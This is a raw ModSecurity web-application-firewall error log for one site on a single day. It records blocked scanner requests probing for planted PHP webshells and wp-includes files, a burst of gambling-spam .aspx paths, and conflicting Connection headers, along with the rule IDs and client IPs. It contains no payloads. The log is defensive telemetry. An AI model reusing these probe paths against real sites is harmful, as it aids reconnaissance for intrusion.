[Wed Feb 25 03:07:56.809187 2026] [:error] [pid 13575:tid 13606] [client 20.216.146.160:30850] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aZ33DKwGxLnu91BIPRmJ7wAAA8E"]
[Wed Feb 25 03:07:58.512198 2026] [:error] [pid 13454:tid 13472] [client 20.216.146.160:36260] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aZ33DudouHfevEW-I1rc1QAAAlA"]
[Wed Feb 25 03:07:59.333232 2026] [:error] [pid 13575:tid 13629] [client 20.216.146.160:11248] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aZ33D6wGxLnu91BIPRmJ-AAAA9g"]
[Wed Feb 25 03:08:00.091602 2026] [:error] [pid 13575:tid 13617] [client 20.216.146.160:30876] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aZ33EKwGxLnu91BIPRmJ_AAAA8w"]
[Wed Feb 25 03:08:01.123013 2026] [:error] [pid 18458:tid 18802] [client 20.216.146.160:33163] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aZ33EQuir-tBe4tUismnBQAAAog"]
[Wed Feb 25 03:08:02.491061 2026] [:error] [pid 13516:tid 13536] [client 20.216.146.160:42179] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZ33EoDG2jLWmZEFGzVo_gAAAxI"]
[Wed Feb 25 05:55:03.185332 2026] [:error] [pid 5556:tid 5607] [client 49.51.73.183:37378] [client 49.51.73.183] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ4eN6OrYeaTyh7lGRUhhgAAAdQ"]
[Wed Feb 25 05:58:29.807041 2026] [:error] [pid 5620:tid 5667] [client 36.41.75.167:32962] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ4fBYY2LQjtieeRkoa7PAAAAwU"]
[Wed Feb 25 10:33:39.537824 2026] [:error] [pid 5556:tid 5589] [client 170.106.197.109:55236] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ5fg6OrYeaTyh7lGRWAkQAAAcI"]
[Wed Feb 25 12:20:22.952214 2026] [:error] [pid 60387:tid 60491] [client 182.42.111.156:54896] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ54hoHL0QH7Sr13X0LgmAAAApM"]
[Wed Feb 25 16:58:01.962501 2026] [:error] [pid 20658:tid 20684] [client 43.165.70.220:56966] [client 43.165.70.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ65meu8cohhPfsAIFnnQwAAABE"]
[Wed Feb 25 17:58:04.731302 2026] [:error] [pid 60387:tid 60480] [client 147.135.213.11:58938] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZ7HrIHL0QH7Sr13X0I4ywAAAog"]
[Wed Feb 25 17:58:09.223978 2026] [:error] [pid 5556:tid 5597] [client 147.135.213.11:36896] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZ7HsaOrYeaTyh7lGRUcDAAAAco"]
[Wed Feb 25 17:58:13.014073 2026] [:error] [pid 60498:tid 60514] [client 147.135.213.11:36910] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZ7HtSFCVhQ3ffus0uISswAAAsk"]
[Wed Feb 25 17:58:17.709809 2026] [:error] [pid 5556:tid 5608] [client 147.135.213.11:46802] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZ7HuaOrYeaTyh7lGRUcGgAAAdU"]
[Wed Feb 25 17:58:20.783660 2026] [:error] [pid 60387:tid 60496] [client 147.135.213.11:46810] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZ7HvIHL0QH7Sr13X0I5AQAAApg"]
[Wed Feb 25 17:58:24.114281 2026] [:error] [pid 60387:tid 60477] [client 147.135.213.11:46818] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZ7HwIHL0QH7Sr13X0I5CwAAAoU"]
[Wed Feb 25 17:58:27.604572 2026] [:error] [pid 60500:tid 60603] [client 147.135.213.11:46798] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ7Hw_Y9avxuno9KAT9DvAAAA1A"]
[Wed Feb 25 17:58:31.897647 2026] [:error] [pid 5556:tid 5595] [client 147.135.213.11:46812] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ7Hx6OrYeaTyh7lGRUcNwAAAcg"]
[Wed Feb 25 17:58:35.336027 2026] [:error] [pid 20659:tid 20713] [client 147.135.213.11:46820] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ7Hyz_THK_HtK-Q44L_WgAAAFI"]
[Wed Feb 25 17:58:38.472200 2026] [:error] [pid 60498:tid 60515] [client 147.135.213.11:35738] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ7HziFCVhQ3ffus0uISxQAAAso"]
[Wed Feb 25 17:58:41.299609 2026] [:error] [pid 20659:tid 20707] [client 147.135.213.11:35742] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ7H0T_THK_HtK-Q44L_awAAAEw"]
[Wed Feb 25 17:58:44.479495 2026] [:error] [pid 60500:tid 60602] [client 147.135.213.11:35752] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ7H1PY9avxuno9KAT9DwwAAA08"]
[Wed Feb 25 17:58:47.847493 2026] [:error] [pid 60387:tid 60474] [client 147.135.213.11:33178] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ7H14HL0QH7Sr13X0I5IgAAAoI"]
[Wed Feb 25 17:58:51.174077 2026] [:error] [pid 5619:tid 5640] [client 147.135.213.11:33192] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ7H25FUzdv-0L_F4fs4fAAAAgU"]
[Wed Feb 25 17:58:54.450861 2026] [:error] [pid 60387:tid 60492] [client 147.135.213.11:33208] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ7H3oHL0QH7Sr13X0I5LgAAApQ"]
[Wed Feb 25 17:58:57.605506 2026] [:error] [pid 60498:tid 60526] [client 147.135.213.11:47432] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ7H4SFCVhQ3ffus0uIS1QAAAtU"]
[Wed Feb 25 17:59:00.597184 2026] [:error] [pid 60387:tid 60472] [client 147.135.213.11:47446] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ7H5IHL0QH7Sr13X0I5SAAAAoA"]
[Wed Feb 25 17:59:28.935120 2026] [:error] [pid 20659:tid 20712] [client 147.135.213.11:47452] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ7IAD_THK_HtK-Q44L_sAAAAFE"]
[Wed Feb 25 17:59:31.596145 2026] [:error] [pid 5556:tid 5609] [client 147.135.213.11:53910] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ7IA6OrYeaTyh7lGRUcnQAAAdY"]
[Wed Feb 25 17:59:34.598198 2026] [:error] [pid 20658:tid 20674] [client 147.135.213.11:53922] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZ7IBuu8cohhPfsAIFnsXAAAAAc"]
[Wed Feb 25 17:59:37.363020 2026] [:error] [pid 60387:tid 60487] [client 147.135.213.11:36416] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZ7ICYHL0QH7Sr13X0I5sQAAAo8"]
[Wed Feb 25 17:59:39.947622 2026] [:error] [pid 5556:tid 5591] [client 147.135.213.11:36430] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZ7IC6OrYeaTyh7lGRUcrQAAAcQ"]
[Wed Feb 25 17:59:42.512404 2026] [:error] [pid 5556:tid 5610] [client 147.135.213.11:36446] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZ7IDqOrYeaTyh7lGRUcuAAAAdc"]
[Wed Feb 25 17:59:45.340293 2026] [:error] [pid 5556:tid 5597] [client 147.135.213.11:36458] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZ7IEaOrYeaTyh7lGRUcvQAAAco"]
[Wed Feb 25 17:59:47.849211 2026] [:error] [pid 5619:tid 5635] [client 147.135.213.11:38362] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ7IE5FUzdv-0L_F4fs4qQAAAgA"]
[Wed Feb 25 17:59:50.423286 2026] [:error] [pid 60498:tid 60514] [client 147.135.213.11:38364] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZ7IFiFCVhQ3ffus0uIS-QAAAsk"]
[Wed Feb 25 17:59:53.073793 2026] [:error] [pid 60500:tid 60611] [client 147.135.213.11:38378] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ7IGfY9avxuno9KAT9D4QAAA1g"]
[Wed Feb 25 17:59:55.926134 2026] [:error] [pid 60387:tid 60496] [client 147.135.213.11:49026] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ7IG4HL0QH7Sr13X0I53QAAApg"]
[Wed Feb 25 17:59:58.574506 2026] [:error] [pid 60387:tid 60472] [client 147.135.213.11:49028] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZ7IHoHL0QH7Sr13X0I56gAAAoA"]
[Wed Feb 25 18:00:01.058509 2026] [:error] [pid 5556:tid 5587] [client 147.135.213.11:49042] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ7IIaOrYeaTyh7lGRUc2QAAAcA"]
[Wed Feb 25 18:00:03.755405 2026] [:error] [pid 60500:tid 60599] [client 147.135.213.11:49058] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ7II_Y9avxuno9KAT9D5AAAA00"]
[Wed Feb 25 18:00:06.341759 2026] [:error] [pid 60387:tid 60476] [client 147.135.213.11:46256] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZ7IJoHL0QH7Sr13X0I5-AAAAoQ"]
[Wed Feb 25 18:00:08.799055 2026] [:error] [pid 60387:tid 60476] [client 147.135.213.11:46258] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZ7IKIHL0QH7Sr13X0I6BQAAAoQ"]
[Wed Feb 25 18:00:11.242186 2026] [:error] [pid 60387:tid 60492] [client 147.135.213.11:46274] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZ7IK4HL0QH7Sr13X0I6CQAAApQ"]
[Wed Feb 25 18:00:13.718448 2026] [:error] [pid 60387:tid 60474] [client 147.135.213.11:46282] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ7ILYHL0QH7Sr13X0I6GAAAAoI"]
[Wed Feb 25 18:00:16.104657 2026] [:error] [pid 5556:tid 5599] [client 147.135.213.11:47100] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ7IMKOrYeaTyh7lGRUc6gAAAcw"]
[Wed Feb 25 18:00:18.665042 2026] [:error] [pid 60387:tid 60473] [client 147.135.213.11:47108] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ7IMoHL0QH7Sr13X0I6KgAAAoE"]
[Wed Feb 25 18:00:21.034861 2026] [:error] [pid 60498:tid 60511] [client 147.135.213.11:47116] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ7INSFCVhQ3ffus0uITEQAAAsY"]
[Wed Feb 25 18:00:23.493306 2026] [:error] [pid 20659:tid 20699] [client 147.135.213.11:47124] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ7INz_THK_HtK-Q44L_3wAAAEQ"]
[Wed Feb 25 18:00:25.908285 2026] [:error] [pid 60387:tid 60480] [client 147.135.213.11:50098] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZ7IOYHL0QH7Sr13X0I6fwAAAog"]
[Wed Feb 25 18:00:46.940475 2026] [:error] [pid 37809:tid 37835] [client 147.135.213.11:50114] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZ7ITiIC419p2bqBCnCHdQAAAJg"]
